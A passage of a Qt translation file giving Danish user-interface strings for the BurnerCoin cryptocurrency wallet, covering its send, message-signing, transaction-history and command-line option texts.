line="+20"/> <source>Inputs...</source> <translation>Input ...</translation> </message> <message> <location line="+7"/> <source>automatically selected</source> <translation>Automatisk valgt</translation> </message> <message> <location line="+19"/> <source>Insufficient funds!</source> <translation>Utilstrækkelig midler!</translation> </message> <message> <location line="+77"/> <source>Quantity:</source> <translation>Antal:</translation> </message> <message> <location line="+22"/> <location line="+35"/> <source>0</source> <translation>0</translation> </message> <message> <location line="-19"/> <source>Bytes:</source> <translation>Bytes:</translation> </message> <message> <location line="+51"/> <source>Amount:</source> <translation>Beløb:</translation> </message> <message> <location line="+22"/> <location line="+86"/> <location line="+86"/> <location line="+32"/> <source>0.00 BURN</source> <translation>123.456 BURN {0.00 ?}</translation> </message> <message> <location line="-191"/> <source>Priority:</source> <translation>Prioritet:</translation> </message> <message> <location line="+19"/> <source>medium</source> <translation>medium</translation> </message> <message> <location line="+32"/> <source>Fee:</source> <translation>Gebyr</translation> </message> <message> <location line="+35"/> <source>Low Output:</source> <translation>Lav udgangseffekt</translation> </message> <message> <location line="+19"/> <source>no</source> <translation>nej</translation> </message> <message> <location line="+32"/> <source>After Fee:</source> <translation>Efter gebyr</translation> </message> <message> <location line="+35"/> <source>Change</source> <translation>Skift</translation> </message> <message> <location line="+50"/> <source>custom change address</source> <translation>Ændre adresse</translation> </message> <message> <location line="+106"/> <source>Send to multiple recipients at once</source> <translation>Send til flere modtagere på en gang</translation> </message> <message> <location line="+3"/> <source>Add &amp;Recipient</source> <translation>Tilføj modtager</translation> </message> <message> <location line="+20"/> <source>Remove all transaction fields</source> <translation>Fjern alle transaktions omkostnings felter </translation> </message> <message> <location line="+3"/> <source>Clear &amp;All</source> <translation>Ryd alle</translation> </message> <message> <location line="+28"/> <source>Balance:</source> <translation>Saldo:</translation> </message> <message> <location line="+16"/> <source>123.456 BURN</source> <translation>123.456 BURN</translation> </message> <message> <location line="+31"/> <source>Confirm the send action</source> <translation>Bekræft afsendelsen</translation> </message> <message> <location line="+3"/> <source>S&amp;end</source> <translation>Afsend</translation> </message> <message> <location filename="../sendcoinsdialog.cpp" line="-173"/> <source>Enter a BurnerCoin address (e.g. Sjz75uKHzUQJnSdzvpiigEGxseKkDhQToX)</source> <translation>Indtast en BurnerCoin-adresse (f.eks Sjz75uKHzUQJnSdzvpiigEGxseKkDhQToX)</translation> </message> <message> <location line="+15"/> <source>Copy quantity</source> <translation>Kopier antal</translation> </message> <message> <location line="+1"/> <source>Copy amount</source> <translation>Kopier beløb</translation> </message> <message> <location line="+1"/> <source>Copy fee</source> <translation>Kopier transkationsgebyr</translation> </message> <message> <location line="+1"/> <source>Copy after fee</source> <translation>Kopier efter transkationsgebyr</translation> </message> <message> <location line="+1"/> <source>Copy bytes</source> <translation>Kopier bytes</translation> </message> <message> <location line="+1"/> <source>Copy priority</source> <translation>Kopier prioritet</translation> </message> <message> <location line="+1"/> <source>Copy low output</source> <translation>Kopier lav produktion</translation> </message> <message> <location line="+1"/> <source>Copy change</source> <translation>Kopier forandring</translation> </message> <message> <location line="+86"/> <source>&lt;b&gt;%1&lt;/b&gt; to %2 (%3)</source> <translation>&lt;b&gt;%1&lt;/b&gt; til %2 (%3)</translation> </message> <message> <location line="+5"/> <source>Confirm send coins</source> <translation>Bekræft afsendelse af bitcoins</translation> </message> <message> <location line="+1"/> <source>Are you sure you want to send %1?</source> <translation>Er du sikker på du vil sende% 1?</translation> </message> <message> <location line="+0"/> <source> and </source> <translation>og</translation> </message> <message> <location line="+29"/> <source>The recipient address is not valid, please recheck.</source> <translation>Modtagerens adresse er ikke gyldig. Tjek venligst adressen igen.</translation> </message> <message> <location line="+5"/> <source>The amount to pay must be larger than 0.</source> <translation>Beløbet til betaling skal være større end 0.</translation> </message> <message> <location line="+5"/> <source>The amount exceeds your balance.</source> <translation>Beløbet overstiger din saldo.</translation> </message> <message> <location line="+5"/> <source>The total exceeds your balance when the %1 transaction fee is included.</source> <translation>Totalen overstiger din saldo, når %1 transaktionsgebyr er inkluderet.</translation> </message> <message> <location line="+6"/> <source>Duplicate address found, can only send to each address once per send operation.</source> <translation>Duplikeret adresse fundet. Du kan kun sende til hver adresse en gang pr. afsendelse.</translation> </message> <message> <location line="+5"/> <source>Error: Transaction creation failed.</source> <translation>Fejl: Transaktion oprettelse mislykkedes.</translation> </message> <message> <location line="+5"/> <source>Error: The transaction was rejected. This might happen if some of the coins in your wallet were already spent, such as if you used a copy of wallet.dat and coins were spent in the copy but not marked as spent here.</source> <translation>Fejl: Transaktionen blev afvist. Dette kan ske, hvis nogle af mønterne i din tegnebog allerede er blevet brugt, som hvis du brugte en kopi af wallet.dat og mønterne blev brugt i kopien, men ikke markeret som brugt her.</translation> </message> <message> <location line="+251"/> <source>WARNING: Invalid BurnerCoin address</source> <translation>ADVARSEL: Ugyldig BurnerCoin adresse</translation> </message> <message> <location line="+13"/> <source>(no label)</source> <translation>(ingen mærkat)</translation> </message> <message> <location line="+4"/> <source>WARNING: unknown change address</source> <translation>ADVARSEL: ukendt adresse forandring</translation> </message> </context> <context> <name>SendCoinsEntry</name> <message> <location filename="../forms/sendcoinsentry.ui" line="+14"/> <source>Form</source> <translation>Form</translation> </message> <message> <location line="+15"/> <source>A&amp;mount:</source> <translation>Beløb:</translation> </message> <message> <location line="+13"/> <source>Pay &amp;To:</source> <translation>Betal til:</translation> </message> <message> <location line="+24"/> <location filename="../sendcoinsentry.cpp" line="+25"/> <source>Enter a label for this address to add it to your address book</source> <translation>Indtast en mærkat for denne adresse for at føje den til din adressebog</translation> </message> <message> <location line="+9"/> <source>&amp;Label:</source> <translation>Mærkat:</translation> </message> <message> <location line="+18"/> <source>The address to send the payment to (e.g. Sjz75uKHzUQJnSdzvpiigEGxseKkDhQToX)</source> <translation>Adressen til at sende betalingen til (f.eks Sjz75uKHzUQJnSdzvpiigEGxseKkDhQToX)</translation> </message> <message> <location line="+10"/> <source>Choose address from address book</source> <translation>Vælg adresse fra adressebogen</translation> </message> <message> <location line="+10"/> <source>Alt+A</source> <translation>Alt+A</translation> </message> <message> <location line="+7"/> <source>Paste address from clipboard</source> <translation>Indsæt adresse fra udklipsholderen</translation> </message> <message> <location line="+10"/> <source>Alt+P</source> <translation>Alt+P</translation> </message> <message> <location line="+7"/> <source>Remove this recipient</source> <translation>Fjern denne modtager</translation> </message> <message> <location filename="../sendcoinsentry.cpp" line="+1"/> <source>Enter a BurnerCoin address (e.g. Sjz75uKHzUQJnSdzvpiigEGxseKkDhQToX)</source> <translation>Indtast en BurnerCoin-adresse (f.eks Sjz75uKHzUQJnSdzvpiigEGxseKkDhQToX)</translation> </message> </context> <context> <name>SignVerifyMessageDialog</name> <message> <location filename="../forms/signverifymessagedialog.ui" line="+14"/> <source>Signatures - Sign / Verify a Message</source> <translation>Signature - Underskriv/verificér en besked</translation> </message> <message> <location line="+13"/> <location line="+124"/> <source>&amp;Sign Message</source> <translation>Underskriv besked</translation> </message> <message> <location line="-118"/> <source>You can sign messages with your addresses to prove you own them. Be careful not to sign anything vague, as phishing attacks may try to trick you into signing your identity over to them. Only sign fully-detailed statements you agree to.</source> <translation>Du kan underskrive beskeder med dine Bitcoin-adresser for at bevise, at de tilhører dig. Pas på ikke at underskrive noget vagt, da phisingangreb kan narre dig til at overdrage din identitet. Underskriv kun fuldt detaljerede udsagn, du er enig i.</translation> </message> <message> <location line="+18"/> <source>The address to sign the message with (e.g. Sjz75uKHzUQJnSdzvpiigEGxseKkDhQToX)</source> <translation>Adresse til at underskrive meddelelsen med (f.eks Sjz75uKHzUQJnSdzvpiigEGxseKkDhQToX)</translation> </message> <message> <location line="+10"/> <location line="+203"/> <source>Choose an address from the address book</source> <translation>Vælg en adresse fra adressebogen</translation> </message> <message> <location line="-193"/> <location line="+203"/> <source>Alt+A</source> <translation>Alt+A</translation> </message> <message> <location line="-193"/> <source>Paste address from clipboard</source> <translation>Indsæt adresse fra udklipsholderen</translation> </message> <message> <location line="+10"/> <source>Alt+P</source> <translation>Alt+P</translation> </message> <message> <location line="+12"/> <source>Enter the message you want to sign here</source> <translation>Indtast beskeden, du ønsker at underskrive</translation> </message> <message> <location line="+24"/> <source>Copy the current signature to the system clipboard</source> <translation>Kopier den nuværende underskrift til systemets udklipsholder</translation> </message> <message> <location line="+21"/> <source>Sign the message to prove you own this BurnerCoin address</source> <translation>Underskriv brevet for at bevise du ejer denne BurnerCoin adresse</translation> </message> <message> <location line="+17"/> <source>Reset all sign message fields</source> <translation>Nulstil alle &quot;underskriv besked&quot;-felter</translation> </message> <message> <location line="+3"/> <location line="+146"/> <source>Clear &amp;All</source> <translation>Ryd alle</translation> </message> <message> <location line="-87"/> <location line="+70"/> <source>&amp;Verify Message</source> <translation>Verificér besked</translation> </message> <message> <location line="-64"/> <source>Enter the signing address, message (ensure you copy line breaks, spaces, tabs, etc. exactly) and signature below to verify the message. Be careful not to read more into the signature than what is in the signed message itself, to avoid being tricked by a man-in-the-middle attack.</source> <translation>Indtast den underskrevne adresse, beskeden (inkluder linjeskift, mellemrum mv. nøjagtigt, som de fremgår) og underskriften for at verificére beskeden. Vær forsigtig med ikke at lægge mere i underskriften end besked selv, så du undgår at blive narret af et man-in-the-middle-angreb.</translation> </message> <message> <location line="+21"/> <source>The address the message was signed with (e.g. Sjz75uKHzUQJnSdzvpiigEGxseKkDhQToX)</source> <translation>Adressen meddelelse blev underskrevet med (f.eks Sjz75uKHzUQJnSdzvpiigEGxseKkDhQToX)</translation> </message> <message> <location line="+40"/> <source>Verify the message to ensure it was signed with the specified BurnerCoin address</source> <translation>Kontroller meddelelsen for at sikre, at den blev indgået med den angivne BurnerCoin adresse</translation> </message> <message> <location line="+17"/> <source>Reset all verify message fields</source> <translation>Nulstil alle &quot;verificér besked&quot;-felter</translation> </message> <message> <location filename="../signverifymessagedialog.cpp" line="+27"/> <location line="+3"/> <source>Enter a BurnerCoin address (e.g. Sjz75uKHzUQJnSdzvpiigEGxseKkDhQToX)</source> <translation>Indtast en BurnerCoin-adresse (f.eks Sjz75uKHzUQJnSdzvpiigEGxseKkDhQToX)</translation> </message> <message> <location line="-2"/> <source>Click &quot;Sign Message&quot; to generate signature</source> <translation>Klik &quot;Underskriv besked&quot; for at generere underskriften</translation> </message> <message> <location line="+3"/> <source>Enter BurnerCoin signature</source> <translation>Indtast BurnerCoin underskrift</translation> </message> <message> <location line="+82"/> <location line="+81"/> <source>The entered address is invalid.</source> <translation>Den indtastede adresse er ugyldig.</translation> </message> <message> <location line="-81"/> <location line="+8"/> <location line="+73"/> <location line="+8"/> <source>Please check the address and try again.</source> <translation>Tjek venligst adressen, og forsøg igen.</translation> </message> <message> <location line="-81"/> <location line="+81"/> <source>The entered address does not refer to a key.</source> <translation>Den indtastede adresse henviser ikke til en nøgle.</translation> </message> <message> <location line="-73"/> <source>Wallet unlock was cancelled.</source> <translation>Tegnebogsoplåsning annulleret.</translation> </message> <message> <location line="+8"/> <source>Private key for the entered address is not available.</source> <translation>Den private nøgle for den indtastede adresse er ikke tilgængelig.</translation> </message> <message> <location line="+12"/> <source>Message signing failed.</source> <translation>Underskrivning af besked mislykkedes.</translation> </message> <message> <location line="+5"/> <source>Message signed.</source> <translation>Besked underskrevet.</translation> </message> <message> <location line="+59"/> <source>The signature could not be decoded.</source> <translation>Underskriften kunne ikke afkodes.</translation> </message> <message> <location line="+0"/> <location line="+13"/> <source>Please check the signature and try again.</source> <translation>Tjek venligst underskriften, og forsøg igen.</translation> </message> <message> <location line="+0"/> <source>The signature did not match the message digest.</source> <translation>Underskriften matcher ikke beskedens indhold.</translation> </message> <message> <location line="+7"/> <source>Message verification failed.</source> <translation>Verificéring af besked mislykkedes.</translation> </message> <message> <location line="+5"/> <source>Message verified.</source> <translation>Besked verificéret.</translation> </message> </context> <context> <name>TransactionDesc</name> <message> <location filename="../transactiondesc.cpp" line="+19"/> <source>Open until %1</source> <translation>Åben indtil %1</translation> </message> <message numerus="yes"> <location line="-2"/> <source>Open for %n block(s)</source> <translation><numerusform>Åben for %n blok</numerusform><numerusform>Åben for %n blok(ke)</numerusform></translation> </message> <message> <location line="+8"/> <source>conflicted</source> <translation>konflikt</translation> </message> <message> <location line="+2"/> <source>%1/offline</source> <translation>%1/offline</translation> </message> <message> <location line="+2"/> <source>%1/unconfirmed</source> <translation>%1/ubekræftet</translation> </message> <message> <location line="+2"/> <source>%1 confirmations</source> <translation>%1 bekræftelser</translation> </message> <message> <location line="+18"/> <source>Status</source> <translation>Status</translation> </message> <message numerus="yes"> <location line="+7"/> <source>, broadcast through %n node(s)</source> <translation><numerusform>, transmitteret igennem %n knude(r)</numerusform><numerusform>, transmitteret igennem %n knude(r)</numerusform></translation> </message> <message> <location line="+4"/> <source>Date</source> <translation>Dato</translation> </message> <message> <location line="+7"/> <source>Source</source> <translation>Kilde</translation> </message> <message> <location line="+0"/> <source>Generated</source> <translation>Genereret</translation> </message> <message> <location line="+5"/> <location line="+17"/> <source>From</source> <translation>Fra</translation> </message> <message> <location line="+1"/> <location line="+22"/> <location line="+58"/> <source>To</source> <translation>Til</translation> </message> <message> <location line="-77"/> <location line="+2"/> <source>own address</source> <translation>egen adresse</translation> </message> <message> <location line="-2"/> <source>label</source> <translation>mærkat</translation> </message> <message> <location line="+37"/> <location line="+12"/> <location line="+45"/> <location line="+17"/> <location line="+30"/> <source>Credit</source> <translation>Kredit</translation> </message> <message numerus="yes"> <location line="-102"/> <source>matures in %n more block(s)</source> <translation><numerusform>modner efter yderligere %n blok(ke)</numerusform><numerusform>modner efter yderligere %n blok(ke)</numerusform></translation> </message> <message> <location line="+2"/> <source>not accepted</source> <translation>ikke accepteret</translation> </message> <message> <location line="+44"/> <location line="+8"/> <location line="+15"/> <location line="+30"/> <source>Debit</source> <translation>Debet</translation> </message> <message> <location line="-39"/> <source>Transaction fee</source> <translation>Transaktionsgebyr</translation> </message> <message> <location line="+16"/> <source>Net amount</source> <translation>Nettobeløb</translation> </message> <message> <location line="+6"/> <source>Message</source> <translation>Besked</translation> </message> <message> <location line="+2"/> <source>Comment</source> <translation>Kommentar</translation> </message> <message> <location line="+2"/> <source>Transaction ID</source> <translation>Transaktionens ID</translation> </message> <message> <location line="+3"/> <source>Generated coins must mature 20 blocks before they can be spent. When you generated this block, it was broadcast to the network to be added to the block chain. If it fails to get into the chain, its state will change to &quot;not accepted&quot; and it won&apos;t be spendable. This may occasionally happen if another node generates a block within a few seconds of yours.</source> <translation>Generet mønter skal modne 510 blokke, før de kan blive brugt. Når du genererede denne blok blev det transmitteret til netværket, der tilføjes til blokkæden. Hvis det mislykkes at komme ind i kæden, vil dens tilstand ændres til &quot;ikke godkendt&quot;, og det vil ikke være brugbar. Dette kan lejlighedsvis ske, hvis en anden node genererer en blok et par sekunder efter din.</translation> </message> <message> <location line="+7"/> <source>Debug information</source> <translation>Fejlsøgningsinformation</translation> </message> <message> <location line="+8"/> <source>Transaction</source> <translation>Transaktion</translation> </message> <message> <location line="+5"/> <source>Inputs</source> <translation>Input</translation> </message> <message> <location line="+23"/> <source>Amount</source> <translation>Beløb</translation> </message> <message> <location line="+1"/> <source>true</source> <translation>sand</translation> </message> <message> <location line="+0"/> <source>false</source> <translation>falsk</translation> </message> <message> <location line="-211"/> <source>, has not been successfully broadcast yet</source> <translation>, er ikke blevet transmitteret endnu</translation> </message> <message> <location line="+35"/> <source>unknown</source> <translation>ukendt</translation> </message> </context> <context> <name>TransactionDescDialog</name> <message> <location filename="../forms/transactiondescdialog.ui" line="+14"/> <source>Transaction details</source> <translation>Transaktionsdetaljer</translation> </message> <message> <location line="+6"/> <source>This pane shows a detailed description of the transaction</source> <translation>Denne rude viser en detaljeret beskrivelse af transaktionen</translation> </message> </context> <context> <name>TransactionTableModel</name> <message> <location filename="../transactiontablemodel.cpp" line="+226"/> <source>Date</source> <translation>Dato</translation> </message> <message> <location line="+0"/> <source>Type</source> <translation>Type</translation> </message> <message> <location line="+0"/> <source>Address</source> <translation>Adresse</translation> </message> <message> <location line="+0"/> <source>Amount</source> <translation>Beløb</translation> </message> <message> <location line="+60"/> <source>Open until %1</source> <translation>Åben indtil %1</translation> </message> <message> <location line="+12"/> <source>Confirmed (%1 confirmations)</source> <translation>Bekræftet (%1 bekræftelser)</translation> </message> <message numerus="yes"> <location line="-15"/> <source>Open for %n more block(s)</source> <translation><numerusform>Åben %n blok(ke) yderligere</numerusform><numerusform>Åben %n blok(ke) yderligere</numerusform></translation> </message> <message> <location line="+6"/> <source>Offline</source> <translation>Offline</translation> </message> <message> <location line="+3"/> <source>Unconfirmed</source> <translation>Ubekræftede</translation> </message> <message> <location line="+3"/> <source>Confirming (%1 of %2 recommended confirmations)</source> <translation>Bekræftelse (% 1 af% 2 anbefalede bekræftelser)</translation> </message> <message> <location line="+6"/> <source>Conflicted</source> <translation>Konflikt</translation> </message> <message> <location line="+3"/> <source>Immature (%1 confirmations, will be available after %2)</source> <translation>Umodne (% 1 bekræftelser, vil være tilgængelige efter% 2)</translation> </message> <message> <location line="+3"/> <source>This block was not received by any other nodes and will probably not be accepted!</source> <translation>Denne blok blev ikke modtaget af nogen andre knuder og vil formentlig ikke blive accepteret!</translation> </message> <message> <location line="+3"/> <source>Generated but not accepted</source> <translation>Genereret, men ikke accepteret</translation> </message> <message> <location line="+42"/> <source>Received with</source> <translation>Modtaget med</translation> </message> <message> <location line="+2"/> <source>Received from</source> <translation>Modtaget fra</translation> </message> <message> <location line="+3"/> <source>Sent to</source> <translation>Sendt til</translation> </message> <message> <location line="+2"/> <source>Payment to yourself</source> <translation>Betaling til dig selv</translation> </message> <message> <location line="+2"/> <source>Mined</source> <translation>Udvundne</translation> </message> <message> <location line="+38"/> <source>(n/a)</source> <translation>(n/a)</translation> </message> <message> <location line="+190"/> <source>Transaction status. Hover over this field to show number of confirmations.</source> <translation>Transaktionsstatus. Hold musen over dette felt for at vise antallet af bekræftelser.</translation> </message> <message> <location line="+2"/> <source>Date and time that the transaction was received.</source> <translation>Dato og klokkeslæt for modtagelse af transaktionen.</translation> </message> <message> <location line="+2"/> <source>Type of transaction.</source> <translation>Transaktionstype.</translation> </message> <message> <location line="+2"/> <source>Destination address of transaction.</source> <translation>Destinationsadresse for transaktion.</translation> </message> <message> <location line="+2"/> <source>Amount removed from or added to balance.</source> <translation>Beløb fjernet eller tilføjet balance.</translation> </message> </context> <context> <name>TransactionView</name> <message> <location filename="../transactionview.cpp" line="+55"/> <location line="+16"/> <source>All</source> <translation>Alle</translation> </message> <message> <location line="-15"/> <source>Today</source> <translation>I dag</translation> </message> <message> <location line="+1"/> <source>This week</source> <translation>Denne uge</translation> </message> <message> <location line="+1"/> <source>This month</source> <translation>Denne måned</translation> </message> <message> <location line="+1"/> <source>Last month</source> <translation>Sidste måned</translation> </message> <message> <location line="+1"/> <source>This year</source> <translation>Dette år</translation> </message> <message> <location line="+1"/> <source>Range...</source> <translation>Interval...</translation> </message> <message> <location line="+11"/> <source>Received with</source> <translation>Modtaget med</translation> </message> <message> <location line="+2"/> <source>Sent to</source> <translation>Sendt til</translation> </message> <message> <location line="+2"/> <source>To yourself</source> <translation>Til dig selv</translation> </message> <message> <location line="+1"/> <source>Mined</source> <translation>Udvundne</translation> </message> <message> <location line="+1"/> <source>Other</source> <translation>Andet</translation> </message> <message> <location line="+7"/> <source>Enter address or label to search</source> <translation>Indtast adresse eller mærkat for at søge</translation> </message> <message> <location line="+7"/> <source>Min amount</source> <translation>Minimumsbeløb</translation> </message> <message> <location line="+34"/> <source>Copy address</source> <translation>Kopier adresse</translation> </message> <message> <location line="+1"/> <source>Copy label</source> <translation>Kopier mærkat</translation> </message> <message> <location line="+1"/> <source>Copy amount</source> <translation>Kopier beløb</translation> </message> <message> <location line="+1"/> <source>Copy transaction ID</source> <translation>Kopier transaktionens ID</translation> </message> <message> <location line="+1"/> <source>Edit label</source> <translation>Rediger mærkat</translation> </message> <message> <location line="+1"/> <source>Show transaction details</source> <translation>Vis transaktionsdetaljer</translation> </message> <message> <location line="+144"/> <source>Export Transaction Data</source> <translation>Exportere transaktionsdata</translation> </message> <message> <location line="+1"/> <source>Comma separated file (*.csv)</source> <translation>Kommasepareret fil (*.csv)</translation> </message> <message> <location line="+8"/> <source>Confirmed</source> <translation>Bekræftet</translation> </message> <message> <location line="+1"/> <source>Date</source> <translation>Dato</translation> </message> <message> <location line="+1"/> <source>Type</source> <translation>Type</translation> </message> <message> <location line="+1"/> <source>Label</source> <translation>Mærkat</translation> </message> <message> <location line="+1"/> <source>Address</source> <translation>Adresse</translation> </message> <message> <location line="+1"/> <source>Amount</source> <translation>Beløb</translation> </message> <message> <location line="+1"/> <source>ID</source> <translation>ID</translation> </message> <message> <location line="+4"/> <source>Error exporting</source> <translation>Fejl exporting</translation> </message> <message> <location line="+0"/> <source>Could not write to file %1.</source> <translation>Kunne ikke skrive til filen% 1.</translation> </message> <message> <location line="+100"/> <source>Range:</source> <translation>Interval:</translation> </message> <message> <location line="+8"/> <source>to</source> <translation>til</translation> </message> </context> <context> <name>WalletModel</name> <message> <location filename="../walletmodel.cpp" line="+206"/> <source>Sending...</source> <translation>Sender...</translation> </message> </context> <context> <name>bitcoin-core</name> <message> <location filename="../bitcoinstrings.cpp" line="+33"/> <source>BurnerCoin version</source> <translation>BurnerCoin version</translation> </message> <message> <location line="+1"/> <source>Usage:</source> <translation>Anvendelse:</translation> </message> <message> <location line="+1"/> <source>Send command to -server or burnercoind</source> <translation>Send kommando til-server eller burnercoind</translation> </message> <message> <location line="+1"/> <source>List commands</source> <translation>Liste over kommandoer</translation> </message> <message> <location line="+1"/> <source>Get help for a command</source> <translation>Få hjælp til en kommando</translation> </message> <message> <location line="+2"/> <source>Options:</source> <translation>Indstillinger:</translation> </message> <message> <location line="+2"/> <source>Specify configuration file (default: burnercoin.conf)</source> <translation>Angiv konfigurationsfil (default: burnercoin.conf)</translation> </message> <message> <location line="+1"/> <source>Specify pid file (default: burnercoind.pid)</source> <translation>Angiv pid fil (standard: burnercoind.pid)</translation> </message> <message> <location line="+2"/> <source>Specify wallet file (within data directory)</source> <translation>Angiv tegnebogs fil (indenfor data mappe)</translation> </message> <message> <location line="-1"/> <source>Specify data directory</source> <translation>Angiv datakatalog</translation> </message> <message> <location line="+2"/> <source>Set database cache size in megabytes (default: 25)</source> <translation>Angiv databasecachestørrelse i megabytes (standard: 25)</translation> </message> <message> <location line="+1"/> <source>Set database disk log size in megabytes (default: 100)</source> <translation>Set database disk logstørrelsen i megabyte (standard: 100)</translation> </message> <message> <location line="+6"/> <source>Listen for connections on &lt;port&gt; (default: 15714 or testnet: 25714)</source> <translation>Lyt efter forbindelser på &lt;port&gt; (default: 15714 eller Testnet: 25714)</translation> </message> <message> <location line="+1"/> <source>Maintain at most &lt;n&gt; connections to peers (default: 125)</source> <translation>Oprethold højest &lt;n&gt; forbindelser til andre i netværket (standard: 125)</translation> </message> <message> <location line="+3"/> <source>Connect to a node to retrieve peer addresses, and disconnect</source> <translation>Forbind til en knude for at modtage adresse, og afbryd</translation> </message> <message> <location line="+1"/> <source>Specify your own public address</source> <translation>Angiv din egen offentlige adresse</translation> </message> <message> <location line="+5"/> <source>Bind to given address. Use [host]:port notation for IPv6</source> <translation>Binder til en given adresse. Brug [host]: port notation for IPv6</translation> </message> <message> <location line="+2"/> <source>Stake your coins to support network and gain reward (default: 1)</source> <translation>Opbevar dine mønter for at støtte netværket og få belønning (default: 1)</translation> </message> <message> <location line="+5"/> <source>Threshold for disconnecting misbehaving peers (default: 100)</source> <translation>Grænse for afbrydelse til dårlige forbindelser (standard: 100)</translation> </message> <message> <location line="+1"/> <source>Number of seconds to keep misbehaving peers from reconnecting (default: 86400)</source> <translation>Antal sekunder dårlige forbindelser skal vente før reetablering (standard: 86400)</translation> </message> <message> <location line="-44"/> <source>An error occurred while setting up the RPC port %u for listening on IPv4: %s</source> <translation>Der opstod en fejl ved angivelse af RPC-porten %u til at lytte på IPv4: %s</translation> </message> <message> <location line="+51"/> <source>Detach block and address databases. Increases shutdown time (default: 0)</source> <translation>Frigør blok og adresse databaser. Øg shutdown tid (default: 0)</translation> </message> <message> <location line="+109"/> <source>Error: The transaction was rejected. This might happen if some of the coins in your wallet were already spent, such as if you used a copy of wallet.dat and coins were spent in the copy but not marked as spent here.</source> <translation>Fejl: Transaktionen blev afvist. Dette kan ske, hvis nogle af mønterne i din pung allerede er blevet brugt, som hvis du brugte en kopi af wallet.dat og mønterne blev brugt i kopien, men ikke markeret her.</translation> </message> <message> <location line="-5"/> <source>Error: This transaction requires a transaction fee of at least %s because of its amount, complexity, or use of recently received funds </source> <translation>Fejl: Denne transaktion kræver et transaktionsgebyr på mindst% s på grund af dens størrelse, kompleksitet, eller anvendelse af nylig modtaget midler</translation> </message> <message> <location line="-87"/> <source>Listen for JSON-RPC connections on &lt;port&gt; (default: 15715 or testnet: 25715)</source> <translation>Spor efter JSON-RPC-forbindelser på &lt;port&gt; (default: 15715 eller Testnet: 25715)</translation> </message> <message> <location line="-11"/> <source>Accept command line and JSON-RPC commands</source> <translation>Accepter kommandolinje- og JSON-RPC-kommandoer</translation> </message> <message> <location line="+101"/> <source>Error: Transaction creation failed </source> <translation>Fejl: Transaktion oprettelse mislykkedes</translation> </message> <message> <location line="-5"/> <source>Error: Wallet locked, unable to create transaction </source> <translation>Fejl: Wallet låst, ude af stand til at skabe transaktion</translation> </message> <message> <location line="-8"/> <source>Importing blockchain data file.</source> <translation>Importerer blockchain datafil.</translation> </message> <message> <location line="+1"/> <source>Importing bootstrap blockchain data file.</source> <translation>Import af bootstrap blockchain datafil.</translation> </message> <message> <location line="-88"/> <source>Run in the background as a daemon and accept commands</source> <translation>Kør i baggrunden som en service, og accepter kommandoer</translation> </message> <message> <location line="+1"/> <source>Use the test network</source> <translation>Brug testnetværket</translation> </message> <message> <location line="-24"/> <source>Accept connections from outside (default: 1 if no -proxy or -connect)</source> <translation>Accepter forbindelser udefra (standard: 1 hvis hverken -proxy eller -connect)</translation> </message> <message> <location line="-38"/> <source>An error occurred while setting up the RPC port %u for listening on IPv6, falling back to IPv4: %s</source> <translation>Der opstod en fejl ved angivelse af RPC-porten %u til at lytte på IPv6, falder tilbage til IPv4: %s</translation> </message> <message> <location line="+117"/> <source>Error initializing database environment %s! To recover, BACKUP THAT DIRECTORY, then remove everything from it except for wallet.dat.</source> <translation>Fejl initialisering database miljø% s! For at gendanne, BACKUP denne mappe, og derefter fjern alt bortset fra wallet.dat.</translation> </message> <message> <location line="-20"/> <source>Set maximum size of high-priority/low-fee transactions in bytes (default: 27000)</source> <translation>Angiv maksimal størrelse på high-priority/low-fee transaktioner i bytes (standard: 27000)</translation> </message> <message> <location line="+11"/> <source>Warning: -paytxfee is set very high! This is the transaction fee you will pay if you send a transaction.</source> <translation>Advarsel: -paytxfee er sat meget højt! Dette er det gebyr du vil betale, hvis du sender en transaktion.</translation> </message> <message> <location line="+61"/> <source>Warning: Please check that your computer&apos;s date and time are correct! If your clock is wrong BurnerCoin will not work properly.</source> <translation>Advarsel: Kontroller venligst, at computerens dato og klokkeslæt er korrekt! Hvis dit ur er forkert vil BurnerCoin ikke fungere korrekt.</translation> </message> <message> <location line="-31"/> <source>Warning: error reading wallet.dat! All keys read correctly, but transaction data or address book entries might be missing or incorrect.</source> <translation>Advarsel: fejl under læsning af wallet.dat! Alle nøgler blev læst korrekt, men transaktionsdata eller adressebogsposter kan mangle eller være forkerte.</translation> </message> <message> <location line="-18"/> <source>Warning: wallet.dat corrupt, data salvaged! Original wallet.dat saved as wallet.{timestamp}.bak in %s; if your balance or transactions are incorrect you should restore from a backup.</source> <translation>Advarsel: wallet.dat ødelagt, data reddet! Oprindelig wallet.net gemt som wallet.{timestamp}.bak i %s; hvis din saldo eller dine transaktioner er forkert, bør du genskabe fra en sikkerhedskopi.</translation> </message> <message> <location line="-30"/> <source>Attempt to recover private keys from a corrupt wallet.dat</source> <translation>Forsøg at genskabe private nøgler fra ødelagt wallet.dat</translation> </message> <message> <location line="+4"/> <source>Block creation options:</source> <translation>Blokoprettelsestilvalg:</translation> </message> <message> <location line="-62"/> <source>Connect only to the specified node(s)</source> <translation>Tilslut kun til de(n) angivne knude(r)</translation> </message> <message> <location line="+4"/> <source>Discover own IP address (default: 1 when listening and no -externalip)</source> <translation>Find egen IP-adresse (standard: 1 når lytter og ingen -externalip)</translation> </message> <message> <location line="+94"/> <source>Failed to listen on any port. Use -listen=0 if you want this.</source> <translation>Lytning på enhver port mislykkedes. Brug -listen=0, hvis du ønsker dette.</translation> </message> <message> <location line="-90"/> <source>Find peers using DNS lookup (default: 1)</source> <translation>Find peer bruges DNS-opslag (default: 1)</translation> </message> <message> <location line="+5"/> <source>Sync checkpoints policy (default: strict)</source> <translation>Synkroniser checkpoints politik (default: streng)</translation> </message> <message> <location line="+83"/> <source>Invalid -tor address: &apos;%s&apos;</source> <translation>Ugyldig-tor-adresse: &apos;% s&apos;</translation> </message> <message> <location line="+4"/> <source>Invalid amount for -reservebalance=&lt;amount&gt;</source> <translation>Ugyldigt beløb for-reservebalance = &lt;beløb&gt;</translation> </message> <message> <location line="-82"/> <source>Maximum per-connection receive buffer, &lt;n&gt;*1000 bytes (default: 5000)</source> <translation>Maksimum for modtagelsesbuffer pr. forbindelse, &lt;n&gt;*1000 bytes (standard: 5000)</translation> </message> <message> <location line="+1"/> <source>Maximum per-connection send buffer, &lt;n&gt;*1000 bytes (default: 1000)</source> <translation>Maksimum for afsendelsesbuffer pr. forbindelse, &lt;n&gt;*1000 bytes (standard: 1000)</translation> </message> <message> <location line="-16"/> <source>Only connect to nodes in network &lt;net&gt; (IPv4, IPv6 or Tor)</source> <translation>Tilslut kun til knuder i netværk &lt;net&gt; (IPv4, IPv6 eller Tor)</translation> </message> 